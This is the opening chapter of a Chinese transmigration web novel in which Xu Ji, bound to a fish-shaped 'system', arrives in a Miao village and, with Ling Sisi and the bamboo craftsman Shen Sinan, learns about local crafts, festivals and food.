《春泥蛊入心》 1. 指南针 俗话说姓许的很幸运，我叫许祭，许愿的许，祭祀的祭，我从小到现在都不幸运，直到我绑定了系统。 “滴—滴—”一辆货车驶来。 “阿祭！小心”一个身穿紫灰色上衣的女子喊到，没错她是我妈妈，也没错，我死了，然后就穿书了。 “欢迎回家，我是编号320。”一道冷冰冰的机械音，还带着吭哧吭哧的摩擦声。 “你……你好，编号，不不不，我叫许祭，这是……这是哪里啊？”一个身穿白色T恤衫的男子站在一片虚无中，他盯着空中的那一团电，指节微微弯曲，脸色苍白无力。 “滴—你好宿主，我是代号320 ，你以死亡，请你完成任务，任务结束后，你可以死而复生。”那一团电慢慢有了形状，是一条浅蓝色的鱼。 “哦……哦哦，我知道了，那我去做任务了320，任务是什么。”许祭点点头，抬头看鱼，眼睛里倒影着浅蓝色的鱼，像大海一般。 “欢迎去《蛊心》这一本小说做任务，你的任务是活20年。”320在许祭头上游来游去，一头扎进了水里。 “啊—”许祭脚下的玻璃突然碎了，他向下摔去，风吹的衣服泠泠作响。 “祝你好运！” 晨雾漫过青黛山峦，苗族吊脚楼依山而建，榫卯结构咬合紧实，木楼层层叠叠攀着坡势。黑瓦覆顶如飞鸟敛翅，雕花窗棂嵌着晨光，美人靠蜿蜒临水，廊柱垂挂的玉米串、红辣椒晃出暖意。溪畔秋枫燃着艳色，木楼倒影在水中轻摇，穿苗服的姑娘走过吱呀木桥，银饰叮当与鸡鸣交织，漫山红翠里，尽是古朴又鲜活的烟火气。 “好美！”许祭站在寨门口。 青石板路被晨露润得发亮，引着许祭和绫司司走到苗寨门口。长桌铺着靛蓝蜡染布，十几只粗陶土碗盛满琥珀色的包谷烧酒，酒液晃悠着映出阿妹们绣花的鞋尖。穿百褶裙的姑娘们手捧酒碗列队拦路，银项圈、银耳环随动作叮当作响，齐声唱着祝福：“敬贵客，岁岁安；饮此酒，福运满！” 许祭指尖擦过温热的碗沿，将一碗递与绫司司，两人碗沿相碰时发出轻脆声响。酒液入喉，先是烈辣窜过舌尖，尾调却泛着山间野果的清甜，暖意顺着喉咙滑进胸腹，绫司司鼻尖沁出细汗，许祭眉梢扬起笑意。旁边挎着竹篮的孩童踮脚喝彩，族老捋着银须补充：“酒沾唇，情生根！” 说罢挥手引路，吊脚楼的木廊下，芦笙声已悠悠响起。 苗寨深处的晒谷场旁，沈司南斜倚着吊脚楼的雕花木柱，怀中紧抱一截刚伐的翠青毛竹。竹身凝着晨雾的湿凉，青绿表皮泛着莹润光泽，裹挟着松针与腐叶的清芬，竹节处凸起的纹路被他指腹反复摩挲，留下浅浅温痕。他袖口挽至小臂，露出的手腕沾着几点细碎竹屑，拇指与食指捏住一片锋利竹篾，顺着竹身纹理轻轻刮去残留的毛刺，动作缓而稳，竹屑簌簌落在青石板上，与远处芦笙的轻吟相映。刮净毛刺后，他从腰间掏出一块素白棉布，从竹根到竹梢细细擦拭，布帛蹭过竹面的沙沙声，混着吊脚楼飘来的腊肉香气漫开。身后美人靠上，红绸与金黄玉米串垂落，竹影透过雕花窗棂，在他靛蓝布衫上投下细碎斑驳，不远处的溪水中，竹身与他的身影一同轻轻晃动，周身浸着苗寨晨时特有的静谧与烟火气。 青石板路被晨露浸得发亮，鞋跟踩上去发出轻脆的嗒嗒声。绫司司提着绣着缠枝莲的裙摆，目光被两旁的景致勾得移不开，许祭并肩走在身侧，偶尔侧身为她避让巷间往来的村民。吊脚楼依山而建，黑瓦覆顶如鳞，木廊下悬挂的金黄玉米、火红辣椒串随风轻晃，靛蓝蜡染布垂落其间，泼洒出浓淡相宜的色块，草木的清芬与腊肉的脂香缠在一起，漫进鼻腔。 “你看那竹编筐，花纹竟这么精巧。”绫司司驻足巷口的竹编摊，指尖轻触竹篮边缘——细密的缠枝纹如流水缠绕，竹丝泛着温润的米白色光泽，摊主阿叔正低头用篾刀修整竹片，刀刃划过竹身的沙沙声格外清晰。许祭站在她身旁，顺着她的目光望去，笑着应声：“喜欢便买，正好装你捡的野果。” 阿叔闻言抬头，黝黑的脸上绽开笑容，递过一只小巧的竹编香囊：“姑娘眼光好，这是苗家祖传的编法，驱蚊避邪呢。”不远处的酿酒坊飘出醇厚的酒香，阿婶探出头招呼：“贵客要不要尝尝新酿的包谷酒？”孩童们举着淡紫色的野花从巷间跑过，银饰叮当声撞碎了远处传来的芦笙吟唱，阳光透过枝叶筛下碎金，落在两人脚边，暖意漫在周遭。 绫司司接过竹编香囊凑近鼻尖，清甜的竹香混着淡淡的草药味散开，她指尖摩挲着香囊上的纹路，眼睛弯成月牙：“这个真好看，谢谢你阿叔。”许祭掏出钱递过去，目光扫过摊位上的竹筛、竹扇，轻声问：“要不要再挑个大点的竹篮？往后装东西也方便。”她摇摇头，将香囊别在衣襟上，转身朝着巷深处抬了抬下巴：“有这个就够啦，咱们再往前逛逛。” 晨雾渐散，苗寨深处的青石板路还凝着湿润，踩上去沾湿鞋边，泛着微凉的水光。沈司南怀中抱着一截打磨光滑的翠青竹段，竹身泛着莹润的玉色光泽，指尖划过之处细腻无糙，末端缠着三圈暗红棉绳，绳结打得紧实规整——这是要送去寨口老匠人家，定制成一支竹笛的。他步伐沉稳地往寨外走，两旁吊脚楼的木廊下，靛蓝蜡染布随风轻晃，垂落的金黄玉米串、火红辣椒几乎擦过肩头，侧身避让时，竹身轻轻蹭过雕花廊柱，发出细若蚊蚋的摩挲声。 “司南，这竹料看着成色顶好！”门槛上捻线的阿婆抬眼笑着喊，指尖还绕着几缕五彩棉线，银簪在晨光中闪着微光。他颔首回应，声音温和如溪：“阿婆早，这是后山向阳处刚伐的桂竹，纤维紧实，做笛音色定亮。”几个扎着冲天辫的孩童举着淡紫色野花，追在身后脆生生喊“阿哥做好笛要教我们吹”，他回头扬了扬竹段，竹身折射出细碎光斑：“等打磨好刻上纹，就来晒谷场教你们。” 竹身的清冽香气混着吊脚楼飘来的腊肉脂香、山间草木的湿润气息，在周身缠缠绕绕。阳光透过层层叠叠的枝叶，筛下满地碎金，落在他靛蓝布衫上，映得衣料上的暗纹隐约可见。身后芦笙声渐渐淡去，前方寨门的木质轮廓在晨雾中愈发清晰，他下意识握紧竹段，指腹摩挲着熟悉的竹节，脚步不自觉加快了些，竹身随着动作轻轻晃动，发出细微的簌簌声。 晨雾散尽，苗寨被镀上一层柔和的晨光。吊脚楼依山而建，黑瓦覆顶如鳞，木廊下悬挂的金黄玉米串、火红辣椒串随风轻晃，与垂落的靛蓝蜡染布相映成趣，泼洒出浓淡相宜的色块。青石板路被晨露浸得发亮，鞋跟踩上去发出轻脆的嗒嗒声，绫司司提着绣着缠枝莲的裙摆，与许祭并肩往寨深处走，草木的清芬与腊肉的脂香缠在一起，漫进鼻腔。 行至一处开阔的吊脚楼前，木廊下的雕花竹椅上，坐着一位白发阿婆。她银白的发丝梳得整齐，用一根青布带轻轻束起，几缕碎发垂在鬓边，被晨光染成淡淡的金色。阿婆穿着深蓝色的苗家土布衣裳，衣襟上缝着细碎的银饰，抬手时，银饰与袖口的绣花相映，闪过细碎的光泽。她正低头捻线，五彩的棉线在布满皱纹却灵巧依旧的指尖翻飞，左手持着线轴，右手轻轻一捻，线轴便转得飞快，发出轻微的嗡嗡声，像是在哼唱着古老的歌谣。 “阿婆好。”许祭率先开口，声音温和。阿婆闻言抬头，布满岁月痕迹的脸上立刻堆起慈祥的笑，眼角的纹路挤成一朵褶皱的花，浑浊的眼眸里闪过清亮的光：“贵客来啦，快过来坐，一路辛苦啦。”她放下手中的线轴，伸手拍了拍身旁的竹凳，动作间带着长辈特有的亲切。 绫司司和许祭顺着阿婆的示意坐下，竹凳带着微凉的触感，却很结实。阿婆转身从身旁的竹篮里拿出两只油纸包，竹篮是细密的竹编工艺，边缘缠着一圈暗红棉绳，透着古朴的质感。她将油纸包递到两人面前，温热的纸包隔着布料都能感受到暖意，清甜的粽叶香混着淡淡的桂花味扑面而来，隐约能看到里面米白色的糯米粑粑上，沾着细碎的金黄桂花。“尝尝苗家的糯米粑粑，今早刚蒸的，用后山的粽叶包着，甜而不腻。”阿婆的声音带着沙哑的暖意，像山间的溪流缓缓流淌。 绫司司双手接过油纸包，指尖触到油纸的温热，连忙道谢。她低头看着手中的粑粑，油纸微微渗着油光，小心翼翼地剥开一角，米香与粽叶香愈发浓郁，咬下一口，软糯的糯米裹着清甜的桂花蜜，口感绵密，没有丝毫黏腻感。“太好吃了！”她眼睛弯成月牙，满脸赞叹，目光不自觉落在阿婆袖口的绣花上——青绿色的缠枝莲纹针脚细密得几乎看不见线头，花瓣边缘还绣着几缕极细的金线，在阳光下闪着柔和的微光，叶片的脉络清晰可见，像是自然生长的一般。 “阿婆，您袖口的花纹也太好看了，是您亲手绣的吗？”绫司司放下油纸包，指尖轻轻碰了碰绣花的边缘，触感柔软细腻。阿婆抬手摸了摸袖口的绣花，眼里闪过一丝骄傲的光，枯瘦的手指轻轻摩挲着针脚：“是呀，苗家姑娘从小就跟着阿妈学绣花，我十三岁就开始绣了，这缠枝莲，要绣三天三夜才能完工呢。”她顿了顿，眼神飘向远方，像是在回忆过往：“以前绣给自家闺女当嫁妆，现在闲下来了，就绣着玩，想着给寨里的孩子们做些绣花鞋、绣花包。” “这针脚也太细密了，看着就费功夫。”许祭也忍不住赞叹，他拿起阿婆放在一旁的彩线，线的颜色饱满鲜亮，触感顺滑，“这线是自己染的吗？”阿婆笑着点头：“是呀，用后山的花草染的，红色是茜草，蓝色是蓝草，黄色是栀子，染出来的颜色鲜亮，还不容易褪色。”她拿起一根红色的线，递到许祭面前：“你看，这颜色多正，绣在衣裳上，喜庆得很。” 许祭接过线，指尖感受着线的细腻，目光落在廊下悬挂的靛蓝蜡染布上。布面上的流云纹晕染自然，颜色浓淡相宜，深的地方如夜空，浅的地方似薄雾，边缘还带着些许不规则的纹理，透着自然的野趣。“阿婆，这染布的靛蓝真特别，看着很有质感，也是用山里的蓝草染的吗？”他轻声问道，指尖虚虚拂过布面，感受着布料的粗糙与柔软交织的触感。 阿婆顺着他的目光望去，笑着点头，枯瘦的手指指向远处云雾缭绕的山峦：“是呢，后山的蓝草长得旺，每年夏天，寨里的女人们就一起去采蓝草，回来熬煮、发酵，做成染料。这布要泡三遍、染三遍，再晒三遍，前后要半个多月才能完工。”她顿了顿，语气里满是自豪：“你别看着这布粗糙，越洗越软，颜色也越洗越亮，就像苗家的日子，看似平淡，却越过越有滋味。” 正说着，青石板路尽头传来轻微的脚步声，伴着竹身摩擦的细碎声响。两人转头望去，只见沈司南抱着一截打磨光滑的翠青竹段，正往这边走来。竹身泛着莹润的玉色光泽，末端缠着三圈暗红棉绳，他袖口挽至小臂，露出的手腕沾着几点细碎竹屑，靛蓝布衫上沾着些许晨露的湿痕。“阿婆，忙着呢？”他走近时笑着开口，声音温和，目光扫过许祭和绫司司时，微微颔首示意。 阿婆抬头见是他，脸上的笑容更甚：“司南回来啦，这竹料看着成色真好。”沈司南走到廊下，将竹段轻轻靠在木柱旁，指尖摩挲着竹节：“后山向阳处砍的桂竹，想着找老匠人做支竹笛。”他看向许祭和绫司司，语气带着几分客气：“两位是来寨里做客的？”许祭点头回应：“是的，刚到不久，正听阿婆讲苗家的手艺。” “司南这孩子，手巧得很，寨里的竹编、竹笛，没他不会做的。”阿婆笑着夸赞，顺手拿起一根蓝线，“正好，我给两位贵客系平安结，你也来凑个热闹。”沈司南闻言并未推辞，伸出手腕，阿婆的手指灵巧地绕着线，很快便打了个与许祭同款的蓝绳结。“谢谢阿婆。”他低头看了眼手腕上的蓝绳，眼里闪过一丝暖意。 阿婆重新坐回竹椅，捻线的动作不停，嘴里继续说道：“再过些日子就是苗年了，到时候寨里更热闹。女人们会提前绣好新衣裳，男人们要上山打猎、下河捕鱼，孩子们就盼着踩花山、跳芦笙舞。”她眼里闪着向往的光：“夜里会燃起篝火，大家围着篝火唱歌跳舞，还要吃长桌宴，酸汤鱼、腊肉、糯米饭管够，酒要喝到天亮呢。” “苗年的长桌宴，是不是会摆得很长很长？”绫司司好奇地问道，眼里满是期待。阿婆笑着点头：“可不是嘛，从寨头摆到寨尾，几十张桌子连在一起，全是苗家最地道的菜。还有拦门酒，要喝三碗才能入席，每一碗都有祝福，喝了就寓意着来年平安顺遂。”沈司南补充道：“踩花山的时候，还会有射箭、爬坡杆比赛，赢了的人能得到寨里的奖励，都是阿婆们亲手绣的帕子、编的竹篮。” 许祭听得津津有味：“听起来真有意思，可惜我们可能赶不上了。”阿婆摆摆手：“没关系，下次再来嘛。苗寨随时欢迎贵客，不管什么时候来，都有糯米粑粑吃，有平安结系。”说话间，她手中的线轴又转了几圈，五彩的棉线在阳光下划出优美的弧线。 远处传来隐约的芦笙声，夹杂着孩童们的嬉笑声，银饰叮当声偶尔传来，与阿婆捻线的嗡嗡声、沈司南竹段轻靠木柱的声响交织在一起，温柔得让人沉醉。绫司司咬了一口糯米粑粑，清甜的滋味在舌尖蔓延，手腕上的红绳带着微微的凉意，却让人心底暖意融融。许祭坐在一旁，看着廊下的景致，听着阿婆念叨的苗寨趣事，手腕上的蓝绳仿佛带着一股力量，让人心里安定。沈司南则倚着木柱，指尖无意识地摩挲着竹节，目光落在远处云雾缭绕的山峦，神色平静。 晨风吹过，带来草木的清香，吊脚楼的木柱微微晃动，发出轻微的吱呀声，像是在诉说着苗寨的故事。木廊下，阳光正好，暖意融融，四人各有姿态，却在这古朴的苗寨晨景中，构成一幅宁静而鲜活的画面，时光仿佛慢了下来，满是温馨与惬意。 廊下阳光正好，金辉透过吊脚楼的雕花窗棂筛落，在青石板上投下细碎斑驳的光影，与廊下悬挂的金黄玉米串、火红辣椒串相映，暖得让人浑身舒泰。沈司南倚着雕花木柱，柱身的缠枝莲纹样被岁月磨得温润发亮，指尖划过能触到深浅不一的刻痕——那是几代苗家人摩挲留下的温度。他怀中紧抱着那截打磨光滑的翠青竹段，竹身泛着莹润的玉色光泽，末端缠着的三圈暗红棉绳打得紧实规整，绳结处还沾着一点不易察觉的竹屑。他指尖无意识地摩挲着竹节处凸起的规整纹路，指腹划过细腻无糙的竹面，留下浅浅温痕，那是连日来用细砂纸反复打磨的熟悉触感，掌心甚至能感受到竹身微微的凉意与肌理的细腻。 许祭坐在一旁的竹凳上，竹凳边缘被磨得圆润，带着微凉的木质触感。他手腕上的蓝绳平安结随动作轻轻晃动，末端的短线头蹭过靛蓝布衫的衣料，带来轻微的痒意。他目光落在沈司南怀中的竹段上，看着那均匀分布的竹节，间距几乎分毫不差，竹身隐约可见的天然纹路如山间溪流般蜿蜒，在阳光下泛着淡淡的光泽，轻声开口：“刚才听你说，这桂竹要长五年才够料？” 沈司南低头看了眼怀中的竹段，指尖轻轻叩了叩竹身，发出清脆通透的闷响，回音在廊下轻轻回荡，带着竹料特有的共鸣感：“是啊，五年是底线。后山的桂竹长得慢，扎根深，吸足了山间的云雾水汽，纤维紧实密度高，做成竹笛不容易开裂，音色也更清亮绵长。”他抬手将竹段微微倾斜，阳光斜斜照在竹面上，折射出一层淡淡的光晕，竹身的细小纹路在光线下清晰可见，“你看这竹身的纹理，得顺着纹路打磨，不能逆着来，不然会破坏纤维结构，笛声就少了那份清润感，像蒙了层雾似的。” 许祭顺着他的目光望去，果然见竹身的纹理细密规整，如梳理过的丝线般平顺，他指尖虚虚拂过自己腕间的蓝绳，麻线的粗糙质感带着自然的暖意，绳结处的线头修剪得整齐：“听阿婆说，你不仅竹笛做得好，竹编手艺也很厉害？” “不过是跟着寨里老匠人学的糊口手艺。”沈司南唇角弯了弯，露出一抹温和的笑，眼角的线条随之柔和下来，眼底映着廊下的光影。他抬手撸了撸袖口，露出的手腕上沾着几点细碎的竹屑，指腹与虎口处还带着常年与竹料打交道留下的淡淡薄茧，茧子细密均匀，摸起来带着磨砂般的质感：“小时候调皮，总跟着老匠人屁股后面转，看他劈竹、剖篾、编织，竹篾划过竹料的沙沙声，还有炭火烤竹的焦香，都记在心里，看着看着就入了迷，慢慢就学会了。”他顿了顿，目光飘向远处云雾缭绕的山峦，眼神里带着几分悠远，“老匠人说，做竹活讲究‘心手合一’，既要懂竹性，知道哪段竹料适合做什么，又要沉下心，不能有半分浮躁，急不得。” 许祭闻言点头，想起刚才在竹编摊看到的那些精巧物件，指尖仿佛还能感受到竹丝的温润细腻，那些缠枝莲纹编得严丝合缝，却又透着灵动：“刚才在巷口看到那些竹编，花纹细密得像绣出来的，做工精巧，想来也是费了不少功夫。” “最费功夫的是缠枝莲纹的竹篮。”沈司南接过话头，指尖在竹节上轻轻敲击着，节奏平稳，像是在模拟编织时的起落，“要先将竹料劈成比发丝粗不了多少的竹丝，还要保证每根竹丝粗细均匀、色泽一致，差一点就影响整体观感。然后用沸水焯一遍，去除竹腥味，还能让竹丝更柔韧。”他一边说，一边用拇指和食指比划着竹丝的粗细，“再按照纹样一步步编织，经纬交错间要拿捏好力度，太紧会让竹丝断裂，太松又不结实，一个中等大小的竹篮，至少要编三天三夜，稍微分心就会出错，错了就要拆了重编，一点都不能马虎。”他语气里带着几分对这门手艺的敬畏，“老匠人常说，慢工出细活，好的竹编不仅要好看，还要耐用，能陪着人过日子，装过五谷杂粮，盛过瓜果蔬菜，才算有了烟火气。” 许祭听得饶有兴致，目光再次落在那截竹段上，竹身靠近顶端的地方已经被初步打磨出一个圆润的弧度，边缘光滑无毛刺：“这竹笛做起来，想必也很复杂吧？” “确实不简单。”沈司南指尖摩挲着竹段的一端，指腹能感受到打磨后的细腻触感，“首先要选料，得挑向阳处生长的桂竹，没有虫蛀、没有裂纹，竹节间距均匀，这样的竹笛音色才稳定。然后是烤竹，要放在炭火上慢慢烘烤，火候要拿捏得恰到好处——火太旺会烤焦竹身，留下黑斑，影响音色；火太弱又达不到脱水的效果，做成的笛子容易变形。”他一边说，一边用手掌比划着烤竹的动作，仿佛手中正托着炭火，“烤的时候要不停转动竹段，让每一处都受热均匀，还要时不时用手触摸，感受竹身的温度，全凭经验判断是否烤好。” “后续还要钻孔、调音吧？”许祭追问道，目光落在竹段上，想象着钻孔后的模样。 沈司南点头，眼里闪过一丝专业的光芒：“嗯，钻孔要精准，用细钻一点点打磨，孔位的偏差哪怕只有毫厘，都会直接影响音色。调音更是关键，要反复吹奏、打磨孔径，直到每个音都准确无误，音色清亮圆润，还要带着山间特有的清润感。”他顿了顿，抬眼看向许祭，语气里带着几分真诚，“等这只竹笛完工了，傍晚可以来晒谷场听听，那时山风静，没有杂音，夕阳落在山尖，笛声能顺着风飘很远，能听出山间草木的清香，还有溪水潺潺的味道。” “好啊，正好想多感受下苗寨的烟火气。”许祭欣然应允，唇角勾起一抹温和的笑，指尖无意识地摩挲着腕间的蓝绳，“对了，刚才阿婆说的苗年爬坡杆比赛，听着很有意思，难度大吗？” “不算容易。”沈司南眼底闪过一丝笑意，仿佛想起了往年比赛的热闹场景，“杆身有三丈高，是用整根笔直的杉木做的，先去皮打磨得光滑无比，还要涂一层桐油，滑溜溜的，增加难度。选手要手脚并用往上爬，既要有力气支撑身体重量，又要有技巧找到受力点，还要有胆量，爬到顶端时还要伸手去够悬挂的彩球。”他笑着补充，“很多人爬到一半就滑下来，摔得灰头土脸，却还是笑着重新排队，不管输赢，都乐在其中。” “赢了的奖励是阿婆们绣的苗锦帕子？”许祭想起刚才阿婆的话，好奇地问道，眼里满是向往。 “是啊，那可是寨里最珍贵的礼物。”沈司南语气里带着几分赞叹，“那些苗锦帕子都是阿婆们一针一线绣出来的，要用自己染的彩线，绣上缠枝莲、百鸟朝凤、山水风光等纹样，每个纹样都有寓意——缠枝莲寓意福寿绵长，百鸟朝凤寓意吉祥如意，山水纹样则代表着苗家人对故土的眷恋。”他顿了顿，“而且每个帕子的纹样都是独一无二的，凝聚着阿婆们的心意，比任何贵重的东西都难得，拿到帕子的人，都会好好珍藏。” 许祭听得满心向往，指尖再次拂过腕间的蓝绳，心里遗憾没能赶上苗年：“若是能亲眼见见苗年的热闹场景，就好了。” 沈司南闻言，从口袋里摸出一枚小巧的竹制哨子，递了过去。那哨子通体翠绿，是用竹料的边角料做的，只有拇指大小，上面刻着简单的流云纹，纹路深浅均匀，透着质朴的巧思，表面还带着淡淡的竹香，指尖触到能感受到细微的凹凸感。“这个你拿着。”他说道，指尖捏着哨子的一端，避免沾到指纹，“吹起来声音清脆，穿透力强，在山里能传很远。若是在寨里迷路了，或者想找我听竹笛，吹两声，我在晒谷场就能听到。” 许祭双手接过哨子，指尖触到竹料的温润触感，一股暖意从心底蔓延开来。他放在唇边轻轻吹了一下，清脆明亮的声响在廊下回荡，与远处传来的芦笙声、孩童嬉笑声相映成趣，带着山间的灵动气息。“谢谢。”他抬头看向沈司南，眼里满是真诚，“这哨子很别致，我会好好收着，说不定真要麻烦你带路呢。” 沈司南笑着摆摆手，重新将竹段抱在怀中，指尖再次摩挲起熟悉的竹节，动作轻柔，像是在抚摸一件珍宝。阳光依旧温暖，洒在两人身上，将身影拉得很长，投在青石板上，与玉米串、辣椒串的影子交织在一起。远处传来孩童们追逐打闹的嬉笑声，夹杂着阿婆们用苗语闲谈的软糯声，以及芦笙悠扬婉转的曲调，构成一幅宁静而鲜活的苗寨图景。两人坐在廊下，一坐一倚，偶尔交谈几句，话语间没有过多的客套，却透着一种莫名的投契，仿佛认识了很久一般。晨风吹过，带来草木的清香与竹料的温润气息，混着腊肉的脂香，漫在周身，让人心里安定而舒畅，连时光都仿佛慢了下来。暮色像浸了墨的棉絮，顺着苗寨的山峦缓缓铺落，将青黛色的峰峦晕染成深浅不一的剪影。白日里喧闹的苗寨渐渐沉静下来，青石板路褪去了晨露的温润，被夜色浸得泛着微凉的光，踩上去的脚步声在巷间轻轻回荡，又很快被远处隐约的虫鸣吞没。两旁的吊脚楼次第亮起橘黄灯火，烛影透过雕花窗棂，在地上投下细碎的暖纹，像是谁在夜色里铺就的一串省略号，牵引着晚归人的脚步。 许祭提着一盏竹编灯笼走在前面，灯笼的骨架是细密的竹丝编织而成，糊着一层半透明的油纸，暖黄的光晕从纸缝里漏出来，刚好映亮脚下三尺路。他穿着一件浅灰色的休闲外套，袖口随意地挽到小臂，露出的手腕上，阿婆系的蓝绳平安结随着步伐轻轻晃动，末端的短线头蹭过衣料，带来细微的痒意。绫司司跟在他身侧半步远，双手轻轻拢着米白色的薄外套衣襟，下身的浅色长裙扫过路面的落叶与碎石，发出轻微的沙沙声，像是晚风拂过草丛的轻响。她的长发用一根简单的木簪束在脑后，几缕碎发垂在鬓边，被灯笼的暖光染成淡淡的金色。 两人循着白天阿婆指引的方向往寨尾走去，沿途的芦笙声早已淡去，只剩偶尔从吊脚楼里传来的村民闲谈声、孩童的嬉笑打闹声，还有犬吠声从巷口深处悠悠传来，交织成苗寨夜晚特有的烟火气息。灯笼的光晕里，廊下悬挂的金黄玉米串、火红辣椒串在夜色中勾勒出模糊而饱满的轮廓，靛蓝蜡染布随着晚风轻轻晃动，边缘的流苏扫过木柱，带着淡淡的草木余温与阳光晾晒后的气息。路过一处竹编篱笆时，篱笆内种着几株不知名的野花，花瓣上还凝着夜露，在灯光下泛着晶莹的光，微风拂过，送来一阵清甜的花香。 “没想到苗寨的夜晚这么安静。”绫司司轻声感叹，目光好奇地打量着两旁的景致，语气里带着几分新奇。白日里热闹的街巷此刻变得静谧，只有灯火与影子相伴，倒比白天多了几分朦胧的诗意。 许祭侧头看了她一眼，灯笼的光映在她脸上，能看到她眼底闪烁的光亮。“确实，远离了城市的喧嚣，这里的安静让人心里很踏实。”他应声说道，脚步不自觉地放慢了些，“阿婆说寄宿的吊脚楼在寨尾，靠近溪边，应该快到了。” 话音刚落，转过一道弯，便见一座两层吊脚楼静静立在溪边。木楼的主体是深褐色的木材，经过岁月的沉淀，泛着温润的光泽，门楣上挂着一串红绸，在夜色中格外显眼，红绸下方还垂着几串晒干的草药，散发着淡淡的清香。门扉半掩着，透出暖黄的光，将门前的青石板路也染得暖了几分。 “是许先生和绫姑娘吧？”门内传来一位中年妇人的声音，温和而淳朴。随即，门帘被轻轻掀开，一位穿着深蓝色土布衣裳的妇人走了出来，她脸上带着亲切的笑，眼角的纹路里都透着善意，手中还提着一盏油灯，灯光摇曳，照亮了她身前的一小块地方。 “阿婆特意交代过你们要来，我一直在等着呢。”妇人笑着侧身让路，“快进来暖和暖和，夜里风凉。” 许祭和绫司司连忙道谢，跟着妇人走进屋内。堂屋的陈设十分简洁，正中央摆着一张八仙桌，桌面被磨得光滑发亮，能看出常年使用的痕迹。桌子两旁放着几把竹椅，椅背上还搭着几块靛蓝染布做的椅垫。墙角燃着一盆炭火，火苗跳跃着，发出轻微的噼啪声，将整个屋子烘得暖意融融，炭火的温度混合着屋内淡淡的木质香气，让人浑身舒泰。 “一路上累坏了吧？先坐下来歇歇。”妇人将油灯放在八仙桌上，转身从旁边的竹篮里拿出两个粗陶碗，倒了两碗温热的茶水递过来，“这是后山采的野菊花茶，清热解乏，你们尝尝。” 许祭和绫司司接过茶碗，指尖触到陶碗的温热，一股暖意顺着指尖蔓延开来。喝了一口，茶水带着淡淡的菊花清香，入口微甘，确实让人感觉旅途的疲惫消散了不少。“谢谢阿嫂，这茶真好喝。”绫司司笑着说道，目光不自觉地打量着屋内的陈设，堂屋的墙上挂着几幅苗家蜡染画，画的是山水风光与苗寨生活场景，色彩浓郁，充满了生活气息。 妇人闻言笑得更开心了：“喜欢就多喝点，家里还有很多。”她坐在两人对面的竹椅上，热情地问道，“白天在寨里逛得怎么样？阿婆没少给你们讲我们苗寨的故事吧？” “逛得很开心，阿婆给我们讲了很多苗家的手艺和习俗，还尝了好吃的糯米粑粑。”绫司司回忆起白天的经历，脸上满是笑意，“这里的人都很热情，风景也特别美。” “那就好，我们苗寨人最欢迎远方来的贵客了。”妇人点点头，起身说道，“楼上已经收拾好了两间相邻的房，都干净着哩，我带你们上去看看。” 说着，妇人提起油灯在前引路，许祭和绫司司跟在身后，踏上了通往二楼的木梯。木梯是用厚实的木材搭建而成，踩上去发出吱呀的轻响，像是在诉说着岁月的故事。楼梯转角的墙壁上挂着几串晒干的草药，有艾草、薄荷，还有一些不知名的植物，散发着淡淡的清香，据说能驱蚊避邪。 二楼的走廊很宽敞，铺着平整的木板，两旁的墙壁上也挂着一些蜡染布和竹编饰品。妇人将两人带到两间相邻的房门前，推开其中一扇：“这间给绫姑娘住，采光好，推开窗就能看到溪水。”又推开另一扇，“这间给许先生住，格局和隔壁一样，都很干净。” 许祭和绫司司走进房间，果然如妇人所说，房间陈设简洁却十分整洁。一张木质的单人榻靠在墙边，铺着干净的粗布床单，上面叠着一床厚实的棉被，散发着阳光晾晒后的清香。房间中央摆着一张小方桌和一把竹椅，桌上放着一盏油灯。最让人惊喜的是房间的窗户，是老式的木格窗，推开后，一股清新的晚风扑面而来，带着溪水的湿润与草木的清香。 窗外，溪水在夜色中泛着粼粼波光，月光洒在水面上，像是铺了一层碎银。溪边的草丛里缀着点点萤火，忽明忽暗，像散落的星子在晚风里轻轻晃动，偶尔有几只萤火虫顺着晚风飘过来，在窗棂边盘旋片刻，又慢悠悠地飞走。远处的山峦被夜色笼罩，只剩下朦胧的剪影，吊脚楼的灯火星星点点地分布在山间，像夜空中的繁星，温暖而静谧。 “太漂亮了。”绫司司走到窗边，忍不住感叹道，目光被窗外的萤火与星空深深吸引。城市里早已看不到这样清澈的夜空和灵动的萤火，此刻置身其中，仿佛走进了童话世界。 妇人站在门口笑着说：“你们先收拾一下，我去给你们端晚饭过来，今天特意做了苗家特色的酸汤鱼和糯米饭。” “麻烦阿嫂了。”许祭连忙道谢。 妇人摆摆手：“不麻烦，你们慢慢收拾。”说完便提着油灯下楼去了。 许祭将自己的背包放在靠窗的木榻旁，从背包里翻出一张苗寨简易地图，摊开在小方桌上，借着窗外透进来的月光和桌上油灯的微光细细翻看。地图是出发前打印的，上面标注着苗寨的主要景点、步道和村落分布，他指尖在标注着“晒谷场”“后山步道”“蓝草种植园”的位置轻轻点了点，在心里规划着明天的行程。 绫司司则走到木榻边，将自己的行李放在榻旁，然后坐在榻沿上，轻轻抚摸着衣襟上的竹编香囊。那是白天在竹编摊买的，小巧玲珑，竹香混着淡淡的草药味在鼻尖萦绕，让人心神安宁。她抬手摸了摸手腕上的红绳平安结，想起阿婆慈祥的笑容和温柔的话语，嘴角不自觉扬起浅浅的弧度。 “对了，”许祭抬头看向绫司司，“明天若是想逛，咱们可以先去后山看看，听说那里有一条步道，爬到山顶能俯瞰整个苗寨，风景应该很不错。”他指着地图上的后山步道位置，“或者也可以去蓝草种植园，看看阿婆说的用来染布的蓝草是什么样子。” 绫司司闻言眼睛亮了亮：“我想去后山！能俯瞰整个苗寨的话，一定很壮观。”她一直很喜欢登高望远，尤其是在这样风景优美的地方，想想都觉得惬意。 “好，那明天就去后山。”许祭点点头，将地图收好，“不过后山步道可能有点陡，你穿的鞋子方便吗？” 绫司司低头看了看自己脚上的运动鞋，笑着说：“没问题，这鞋子就是特意为爬山准备的。” 两人正说着，楼下传来妇人的声音：“许先生，绫姑娘，晚饭做好了，下来吃吧。” “来了！”许祭和绫司司齐声应道，起身下楼。 堂屋里，八仙桌上已经摆满了饭菜。中间是一大盆酸汤鱼，汤色鲜红，飘着翠绿的香菜和紫苏叶，酸汤的酸辣香气瞬间漫开，让人食指大动。旁边摆着一碗冒着热气的糯米饭，米粒饱满，泛着油光，还有几碟配菜，有腌制的萝卜干、凉拌的野菜，还有一盘腊肉，色泽金黄，香气扑鼻。 “快坐，尝尝我的手艺。”妇人热情地招呼着，给两人各盛了一碗酸汤，“这酸汤是我自己发酵的，用的是山里的番茄和辣椒，开胃得很。” 